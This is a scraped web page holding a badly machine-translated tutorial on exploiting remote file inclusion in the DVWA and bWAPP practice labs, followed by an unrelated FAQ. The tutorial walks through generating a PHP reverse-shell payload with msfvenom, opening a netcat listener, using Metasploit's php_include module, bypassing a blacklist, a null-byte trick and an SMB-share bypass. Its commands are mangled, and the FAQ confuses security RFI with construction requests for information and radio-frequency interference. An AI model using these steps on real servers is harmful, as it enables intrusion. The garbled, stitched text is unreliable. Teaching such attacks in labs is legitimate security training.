Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (2023)

Have ever been surprised about the URL of web applications, some of them can contain files from the bars or the remote servers as either ""Page =" or "File =. I hope you are aware of thisFile claspVulnerability. If not, I suggest that you visit our previous ones againArticle For better understanding before you go deeperRemote date finish vulnerabileImplemented in this section.

Table of contents

  • Introduction to RFI
  • Why does the inclusion of the remote file occur?
  • Exploitation of the remote file inclusion
    • Basic remote file inclusion
    • Reverse shell by Netcat vice versa
    • RFI via Metasploit
    • Implemented a black list
    • Zero -byte attack
    • Exploitation via SMB server
  • Reduction steps


Remote file inclusionIs another variant forVulnerability of the file end,What arises when theyUri of a fileIsconvenient On another serverand isparameterIn the PHP functions either "included", "Include_once", "demands" or "Request_once".

The weaknesses of the remote file is easier to take out, but less often with legendsIn 1 of the 10 web applications.Instead of being able to access a file to a local server, the attacker could simply inject his vulnerable PHP scripts that areHosted in his distant web application into the URL of the non -established web application, which can lead to catastrophic results as:

  1. Enables the attacker to carry out remote commands on a web server as [RCE].
  2. Offers complete access to the server.
  3. Starting parts of the web or even stealing confidential information.
  4. Implementation of client-side attacks as a cross-site script (XSS).

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (1)

Therefore, this vulnerability of the remote files was given as specified"Critical"And with theCVSS point numbervon"9.8"under:

  1. CWE-98: Improper control of the file name for Include/Request in the PHP program.
  2. CWE-20:Improper input validation
  3. CWE-200:Exposure of sensitive information towards an unauthorized actor

Why involvement remote file occur

In contrast to the local file enclosure, the remote file is also vulnerable to the poorly written PHP-Ser notifier codes in which theInput parameters are not properly renovatedorconfirmed.

Take a look at the following code snippet, with which the web application can suffer from the RFI security susceptibility"$ File" Variablewith the"RECEIVE" MethodAndhad not placedanyEntry Validationabout it.

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But thislogically MistakeDid not meet the requirements for the RFI weak point to the developerenabled some unsure Php Ideasas "degly_url_include = on" And "degly_url_fopen = onTherefore, open the gates for the catastrophic RFI susceptibility to security.

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Basic remote file inclusion

I think you may have a clear view so farWhat is remote file inclusionAndWhy does it come up. So let's try to dig deeper anddeface some Web applicationsWith the aim of achieving AReverse Shell.

I opened the destination -PIP in my browser and registered on the insideDawnwhenAdministrator password,furtherI chose themfile Recording vulnerabilitypresent on the left side of the window. And even for this time I kept themsecurity_levelTolow.


degly_url_includeIsDisabled personBy default.degly_url_fopenIsDisabled personPresentdegly_url_includeIs tooDisabled person

You canmake possibledegly_url_include vonPHP.iniBy executing the following commands:

(Video) Remote File Inclusion Explained and Demonstrated!

nano /etc/php/7.2/apache2/php.iniallow_url_include = onallow_url_include = off

Therefore, we are now presented a website that suffers from the vulnerability of the file inclusion, as it simply includes the file included.php in the URL parameter

Page = include.php

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (4)

Let's try to manipulate this URL parameter and surfGoogle.comabout itDawnApplication as:

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (5)

Cool !! The following image thus confirms that this application is susceptible to RFI weak spots.

Reverse shell by Netcat vice versa

You won't be happy if we could convert this basic RFI exploitation into a reverse shell, we read it out how?

First we create a payload with the best PHP one liner as:

msfvenom -p php/reverse_php lport = 4444 lhost => /root/desktop/shell.php

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (6)

Great, let's host this directory so that we can use it in the URL parameter.

Python –M SimpleHttpServer

From the following picture you can see that theDesktop Binderhas beenprovidedabove theHttp ServerAnHarbor 8000.

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (7)

Now let's start ourNetcat listenerpastPort 4444

NC –LVP 4444

If the Netcat wants to listen until this point, let our cover in the endangered URL parameters as:

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (8)

(Video) Penetration Testing - Remote File Inclusion (RFI)

Start the forward button and get back our NetCAT listener, it could have some interesting things for us.\Great !! We have successfully recorded the reverse shell. Now let us collect some striking details.

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RFI via Metasploit

Wasn't the NetCAT procedure long and complicated enough to get a backward shell.

So let us do smart work and boot one of the favorite tools of every pentester, i.e.H."Metasploit"

Before we use an exploit, however, let us record themHttp HeaderThe URL that confirmed the RFI existence, d.H."Page = https: //"and furtherCopyThe loggedPHP meeting IDTogether with allSecurity information.

Here I used the Live -Http header -a Firefox plugin to capture the same.

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (10)

So it is time to get complete control over the web application server.Simply carry out the following commands and you are good in:

msf> verwenden exploit/unix/webapp/php_includeset payload PHP/MeterPreter/Bind_tcpset Rhost Path/dvwa/Schwachstellen/fi/set Headers "Cookie: Security = Low; PhpSSID = 4536DA6DA6DA6DA6SKI6FTV09GDQ35IK35IK35IK354SKI6FTV09GDQ35SIS

Wooah !! With some fundamental executions we got thatMeasuring device meeting.

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (11)

Implemented a black list

It is not every time we were lucky that the developer will set up the code without validations.You may find some blacklists with the frequently used elements as "firmhttp:" or "https:Or even similar to you to secure your web application.

To avoid this implemented black list"Http:"or"Http:"that the developer could forget to add.

I increased itSecurity level for "medium"and tried with all the different combinations. From the following picture you can see that the"Https"Worked for me and would therefore take advantage of the RFI vulnerability.

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (12)

Zero -byte attack

A developer can never forget to add one".Php"Expansion to your codes at the end of the required variables before it is included.This is the web server every file with the interpreting".Php" extension.

(Video) File Inclusion Vulnerability Explained | TryHackMe Junior Penetration Tester

So if I want to include"Tryme.txt"In the URL parameter the server wouldinterpretit as"Trandme.txt.php."And return an error message.

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So what should we do if the developer sets all of this?

The answer is to go for themNull Byte Attack,Use the question mark[?]Character that willneutralizeThe problem of ".php”, Force the PHP server to ignore everything as soon as it is interpreted.

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (14)

Exploitation via SMB server

As discussed earlier,RFI vulnerabilityis too impossible in terms of the developer until the developer gives up "degly_url_include" or "degly_url_fopen" imPHP.iniFile.

But what if the developer if the developernever enabledExecute this function and its web application as easily as possible without taking up a certain file from a remote server. Would you still be susceptible to RFI?

The answer is"And",RFI weak spots can be used by theSMB -ServerEven if that "degly_url_include" or "degly_url_fopen"Is set toOut of.

As if the "degling_url_include" is set in php on "from", it is set to "from"tut not Burdenanyremote control HttporFtp URLsTo prevent remote file connection attacks, but this "allow_url_include"tut not impede Loading SMB URLs.

Ask me how to snap all of this? Let us take advantage of it here in this section. So I have set up the vulnerablebwappApplication in my Windows computer. You can do the same thing outHere.

Let us begin !!

At first I hadnewly configuredMeinPhpServer fromdo notDie "degly_url_include" And "degly_url_fopen"Wrapper im"PHP.ini”File ATC: \ xampp \ php \

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Well to activate themSMB ServiceIn my potash machine I used the impacket toolkit, all of this with a simple one-line as:

(Video) Web Hacker Basics 04 (Local and Remote File Inclusion)

Python –smb2Support Sharepath/Root/Desktop/Shells

How we areexecutionourattackabove theWindow 10Machine, so I used them here"Smb2Support",and had further determined the directory of stock as/root/desktop/shells/You can learn more about impackingHere.

From the following picture you can see that our directory took placedividedsuccessfulaboveDieSMB ServerWithout specific login information.

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To confirm the same, we check everything on a Windows computer via the "Dialogue Crate"If

\\ \ Sharepath \

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Cool !! Our SMB server works perfectly and we can access the shared files.

So let's go back to our Kali computer and check whether the PHP code allows a remote file information or not. From the following picture you can see that when I tried to make it with the basic RFI attack, an error message as "https: // wrapper is deactivated" vondegly_url_include = 0;This confirms that the PHP code blocks the files that should be recorded by each remote server.

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So it is time to condemn this web application by "bypassing" itdegly_url_includePackagingwith ourSMB share shortcutas:\\\sharepath\shell.txt

Great !! From the following picture you can see that our shell has successfully included in this endangered web application and we are shown with the content.

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Reduction steps

  • In order to prevent web applications from the attacks, we have to usestark EntryValidation.we shouldrestrictDieEntry ParameterToacceptAWhitelistvonacceptableFiles andreject to Others InputsTheYet not strict adjustToSpecifications.

The sanitary inputs of user -supplied / controlled inputs to the best of the dimensions are your skills.

  • URL -Parameter
  • Keks worth
  • HTTP -Headerwerte

All of this can be examined with the following code -Snippet:

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(Video) LFI & RFI Complete tutorial | Local File Inclusion | Remote File Inclusion

  • Developor theCodeimmost youngest executionof thePhp Serverwhich isaccessible.And evenconfigureDiePhp ApplicationsSo that's ittut not use Register_Globals.
  • On theServer pageConfigure theTheConfiguration file fromdo not remote control file containvonhttp Uriwhichlimited the ability to includeDieFiles from distant locationsThis means that change the configuration file with the following command:

nano /etc/php/7.2/apache2/php.ini

"dego_url_fopen = off" "" degly_url_include = off "sudo service apache2 neu starten

Comprehensive guidance for remote file inclusion (RFI) - Hacking articles (21)

Author: Geet Madan is a certified hacker, researcher and technical writer in hacking articles on information security.ContactHere


How do I mitigate remote file inclusion? ›

One sure way to prevent an RFI attack is to avoid the use of arbitrary input data in a literal file inclusion request. Allowing such input data permissions from users makes your website more prone to receiving a remote file.

What is RFI in hacking? ›

Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts. The perpetrator's goal is to exploit the referencing function in an application to upload malware (e.g., backdoor shells) from a remote URL located within a different domain.

What is an example of a RFI vulnerability? ›

Remote File Inclusion (RFI)

This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing the external URL to be injected.

How do attackers exploit file inclusion? ›

Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement.

Which of the following is the best way to mitigate RFI? ›

The most effective way to reduce RFI is to install an LDC into the lighting circuit. When an LDC is wired in series with the dimmer, it slows down the inrush of current during the rapid switching cycle of the dimmer. As the current inrush is slowed down, the effect of RFI on sensitive equipment is reduced.

What methods can me employed to prevent a security breach file inclusion vulnerability? ›

Preventing Local File Inclusion vulnerabilities

Use databases – don't include files on a web server that can be compromised, use a database instead. Better server instructions – make the server send download headers automatically instead of executing files in a specified directory.

What are the two types of RFI? ›

Design Coordination: These RFIs involve organizing, communicating, and coordinating the design and associated documents among project participants. Construction Coordination: This category of RFI covers requests to organize and coordinate construction-related procedures, schedules, and safety items.

What information should be included in an RFI? ›

The information professionals request when using RFIs may include:
  • Information on the company's prices.
  • The products or services the company offers.
  • Answers to questions about specific needs.
  • Experience working on similar projects.
  • A timeline for providing products or services.
Mar 10, 2023

What is the vulnerability called when you can include a remote file for malicious purposes? ›

Remote file inclusion (RFI) is an attack that targets vulnerabilities present in web applications that dynamically reference external scripts. The offender aims at exploiting the referencing function in an application in order to upload malware from a remote URL located in a different domain.

What is malicious file inclusion? ›

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

What are good RFI questions? ›

RFI questions to ask vendors
  • Background and history.
  • Size of the company and engineering team.
  • Areas of expertise.
  • Organizational structure.
  • What is the vision and goals of your company?
  • What services do you offer?
  • What separates you from other outsourcing vendors?
Sep 21, 2021

What are 3 examples of vulnerability? ›

Examples may include:
  • poor design and construction of buildings,
  • inadequate protection of assets,
  • lack of public information and awareness,
  • limited official recognition of risks and preparedness measures, and.
  • disregard for wise environmental management.

What remote access methods could an attacker exploit? ›

And in fact, no industry is safe from remote hackers.
  • 4 Common Types of Remote Attacks. ...
  • Domain Name System (DNS) Poisoning. ...
  • Port Scanning. ...
  • Password Spraying. ...
  • Phishing. ...
  • Virtual Private Network (VPN) Attacks. ...
  • Remote Desktop Protocol (RDP) Hacks. ...
  • Remote Access Trojans (RAT)
Aug 4, 2021

What are two types of file inclusion? ›

There are two file inclusion vulnerability types that you should be aware of in preparing for an attack: Local file inclusion (LFI) and remote file inclusion (RFI).

What is the solution for file inclusion vulnerability? ›

The most effective solution for removing file inclusion vulnerabilities is to prevent users from passing input into the file systems and framework API. If this is not possible, the application can maintain a whitelist of files. These files must contain only characters (a-z) and numbers for file names.

What is the best material to block RFI? ›

Copper is the most reliable metal in EMI shielding because it is highly effective in attenuating magnetic and electrical waves. From hospital MRI facilities to basic computer equipment, use of copper in RFI shielding serves the purpose effectively.

What is the disadvantage of RFI? ›

A major disadvantage of sending an RFI is that suppliers may see it as something potential customers are not very serious about. Thus, they may not put too much effort into their response. Another disadvantage is that suppliers may not send information if they do not see real commitment from you.

How do I stop RFI interference? ›

Proper grounding ensures that RF noise is conducted away to the ground instead of being emitted as radiation. Shielding, filtering, and grounding are the immediate answers to the question of how to stop radio frequency interference in electronic circuits.

What are three 3 security techniques that can be used to protect data? ›

Enforcing communication via secure channels. Performing strong identity verification to ensure devices are not compromised. Limiting the use of third-party software and browsing to unsafe websites. Encrypting data on the device to protect against device compromise and theft.

What are the 3 main categories of security controls that we can use to prevent attacks? ›

There are three main types of IT security controls including technical, administrative, and physical.

What are the 3 levels of impact from a security breach? ›

High, Moderate, or Low security categories of an information system established in FIPS 199 which classify the intensity of a potential impact that may occur if the information system is jeopardized.

What are the stages of an RFI? ›

The RFI process comes down to three steps: creation, administration and evaluation.

What is RFI protocol? ›

The Requests For Information (RFI) procedure is widely used in construction projects when it is required to confirm the interpretation of detail, specification, or note on the construction drawings. It is also used to secure a clarification from the client that is required to continue the work.

How many RFIs should a project have? ›

Research has shown that an average project on a typical day could have between 15 to 20 RFIs per $1 million in project value. This means a $5 million project can generate about $100,000 in costs. RFIs are simply requests for information, yet, there's nothing simple about them if they're not handled properly.

How long should an RFI response be? ›

Keep RFI responses brief but informative.

Typically, one page (or less) should be enough to address each topic. Of course, there are always exceptions depending on just how much detail the prospect is seeking.

What is the difference between an RFI and RFP? ›

While an RFI is focused on establishing a relationship with a vendor, a request for proposal (RFP) pertains to a specific project. It includes a detailed description of the project, its aims, and the parties involved in the process.

What are the 4 main types of vulnerability in cyber security? ›

The four main types of vulnerabilities in information security are network vulnerabilities, operating system vulnerabilities, process (or procedural) vulnerabilities, and human vulnerabilities.

Which malicious program can be remote controlled? ›

What is Remote Access Trojan (RAT)? Remote access trojans (RATs) are malware designed to allow an attacker to remotely control an infected computer. Once the RAT is running on a compromised system, the attacker can send commands to it and receive data back in response.

What is path taken by attacker to access information for malicious activity called? ›

An attack vector is a pathway or method used by a hacker to illegally access a network or computer in an attempt to exploit system vulnerabilities. Hackers use numerous attack vectors to launch attacks that take advantage of system weaknesses, cause a data breach, or steal login credentials.

What are the dangers of file inclusion vulnerability? ›

LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information.

What is file inclusion directive? ›

File inclusion directives consist of: The #include directive, which inserts text from another source file. The #include_next directive (IBM extension), which causes the compiler to omit the directory of the including file from the search path when searching for include files.

What makes a file suspicious? ›

Suspicious files are those that cannot be disinfected at the time of the scan or simply have unusual characteristics. Your Panda product quarantines this type of files as a preventive measure, until it can determine with certainty if they really are a threat to your computer.

Are RFI confidential? ›

The information contained in this Request for Information (RFI) is confidential and proprietary to The Bank.

What are 3 questions that should be asked in an RFP? ›

Questions for your team and stakeholders
  • What is the project budget?
  • What are the end goals of the project?
  • What factors are crucial deal breakers?
  • Which factors of the product or service are most important?
  • Will the RFP be a multi-step process?
  • How will vendors be evaluated and scored?
Jan 6, 2023

What are the main objectives of RFI? ›

The goal of using an RFI is to gather information on a market in a formal, structured way. The document should identify the requirements an organization has while requesting specific answers to how the vendor will meet them.

What are the four 4 main types of vulnerability? ›

Students will consider four principal vulnerability factors, namely: physical; social; economic; and environmental.

What are the 4 levels of vulnerability? ›

The four continuous stages of identification, prioritization, remediation, and reporting are essential for an effective vulnerability management process.

How do hackers use remote desktop? ›

Remote Desktop Protocol is often exploited via unsecured networks. If an individual uses a vulnerable network to access an RDP server, a cybercriminal could more simply infiltrate the process and gain access to the server themselves.

Can a hacker gain remote access to your computer through? ›

Hackers could use remote desktop protocol (RDP) to remotely access Windows computers in particular. Remote desktop servers connect directly to the Internet when you forward ports on your router. Hackers and malware may be able to attack a weakness in those routers.

Which is the most secure method of remotely accessing a network device? ›

Use virtual private networks (VPN) - Many remote users will want to connect from insecure Wi-Fi or other untrusted network connections. VPNs can eliminate that risk, however VPN endpoint software must also be kept up-to-date to avoid vulnerabilities that can occur from older versions of the software client.

What is possible remote file inclusion? ›

Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts. The perpetrator's goal is to exploit the referencing function in an application to upload malware (e.g., backdoor shells) from a remote URL located within a different domain.

What are the 3 types of information that files contain? ›

Stores data (text, binary, and executable).

How do you mitigate risks with remote work? ›

Cyber Security Risks: Best Practices for Working from Home and...
  1. Use antivirus and internet security software at home. ...
  2. Keep family members away from work devices. ...
  3. Invest in a sliding webcam cover. ...
  4. Use a VPN. ...
  5. Use a centralized storage solution. ...
  6. Secure your home Wi-Fi. ...
  7. Beware of Zoom and video conferencing.

How to mitigate information exposure on the remote machine? ›

Set up a Firewall and Antivirus

Choosing a firewall that matches the size, scope, and scale of your organization is an essential first step in mitigating remote access risks. Make sure your firewall has built-in antivirus and anti-malware software and high availability programs.

How can you prevent the risk of file sharing? ›

The most direct way to avoid potential legal threats is to ensure that the file sharing service offers strong security and encryption. Key features include access controls, expiring file access, and e-discovery and statements for compliance reporting.

What is one way to mitigate session fixation vulnerabilities? ›

Session fixation attacks can be defeated by simply regenerating the session ID when the user logs in.

What are the 4 key risk mitigation strategies? ›

What are the four types of risk mitigation? There are four common risk mitigation strategies. These typically include avoidance, reduction, transference, and acceptance.

What are the five basic strategies to control risks? ›

The basic methods for risk management—avoidance, retention, sharing, transferring, and loss prevention and reduction—can apply to all facets of an individual's life and can pay off in the long run.

How do I ensure secure remote access? ›

Basic Security Tips for Remote Desktop
  1. Use strong passwords.
  2. Use Two-factor authentication.
  3. Update your software.
  4. Restrict access using firewalls.
  5. Enable Network Level Authentication.
  6. Limit users who can log in using Remote Desktop.

How to protect remote connections in information security? ›

Use virtual private networks (VPN) - Many remote users will want to connect from insecure Wi-Fi or other untrusted network connections. VPNs can eliminate that risk, however VPN endpoint software must also be kept up-to-date to avoid vulnerabilities that can occur from older versions of the software client.

What are the 3 ways of protecting your files? ›

Protect Your Files on PC and Cloud: 10 Essential Tips and Best Practices
  • Keep your computer and devices updated. ...
  • Create a strong password. ...
  • Use Microsoft Defender. ...
  • Encrypt your hard drive. ...
  • Encrypt your mobile device. ...
  • Add security information to your cloud storage account. ...
  • Choose a cloud service that uses encryption.
Sep 8, 2020

Which is the most effective way of protecting files? ›

Here are nine reliable practices for securing your documents.
  • Use Password Protection. ...
  • Use Strong Passwords. ...
  • Set Up Two-Factor Authentication. ...
  • Encrypt Your Files. ...
  • Avoid Emailing Documents. ...
  • Have Backup Copies Available. ...
  • Make Sure Deleted Files Actually Go Away. ...
  • Determine Which Files to Protect.

What is the most secure way of protecting a file? ›

Working With Encryption Software

File encryption software helps to secure your data from unauthorized access. It achieves this security level via cryptographic algorithms rendering data unreadable if the right key to decrypt or unlock data is not provided.

What are mitigating controls for vulnerabilities? ›

Mitigating vulnerabilities involves taking steps to implement internal controls that reduce the attack surface of your systems. Examples of vulnerability mitigation include threat intelligence, entity behavior analytics, and intrusion detection with prevention.

How can we mitigate session hijacking? ›

Some of the most common ways to prevent session hijacking attacks are: Share session IDs with only trusted sources. Remember that session id may be included when sharing links or sending requests to websites. Using a VPN prevents attackers from intercepting traffic, making stealing session IDs more difficult.

What are common methods for managing vulnerabilities? ›

There are many ways to manage vulnerabilities, but some common methods include: Using vulnerability scanning tools to identify potential vulnerabilities before they can be exploited. Restricting access to sensitive information and systems to authorized users only.


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